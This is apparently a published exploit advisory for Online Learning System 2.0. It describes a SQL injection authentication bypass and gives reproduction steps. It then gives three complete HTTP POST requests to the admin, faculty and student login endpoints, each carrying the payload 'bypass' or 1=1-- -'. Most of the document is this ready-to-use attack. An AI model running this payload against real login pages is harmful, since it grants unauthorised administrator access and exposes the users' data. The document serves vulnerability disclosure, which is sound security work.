Online Learning System 2.0 - 'Multiple' SQLi Authentication Bypass

# Exploit Title: Online Learning System 2.0 - 'Multiple' SQLi Authentication Bypass
# Date: 11.10.2021
# Exploit Author: Oguzhan Kara
# Vendor Homepage: https://www.sourcecodester.com/php/14929/online-learning-system-v2-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14929&title=Online+Learning+System+V2+using+PHP+Free+Source+Code
# Version: 2.0
# Tested on: Kali Linux, Windows 10 - XAMPP
# Online Learning System v2.0 Login pages can be bypassed with a simple SQLi to the username/facultyID/studentID parameters.

Steps To Reproduce:
1 - Go to one of the login portals
2 - Enter the payload to username field as "bypass' or 1=1-- -" without double-quotes ("bypass" is can be anything in this scenario) and type anything you want to the password field.
3 - Click on "Login" button and you are logged in as first user in database, which is admin user for admin portal.

PoC

---Admin Portal---

POST /elearning/classes/Login.php?f=login HTTP/1.1
Host: localhost
Content-Length: 45
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/elearning/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

username=bypass'+or+1%3D1--+-&password=bypass

---Faculty Portal---

POST /elearning/classes/Login.php?f=flogin HTTP/1.1
Host: localhost
Content-Length: 47
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/elearning/faculty/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

faculty_id=bypass'+or+1%3D1--+-&password=bypass

---Student Portal---

POST /elearning/classes/Login.php?f=slogin HTTP/1.1
Host: localhost
Content-Length: 45
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/elearning/student/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

student_id=bypass'+or+1%3D1--+-&password=test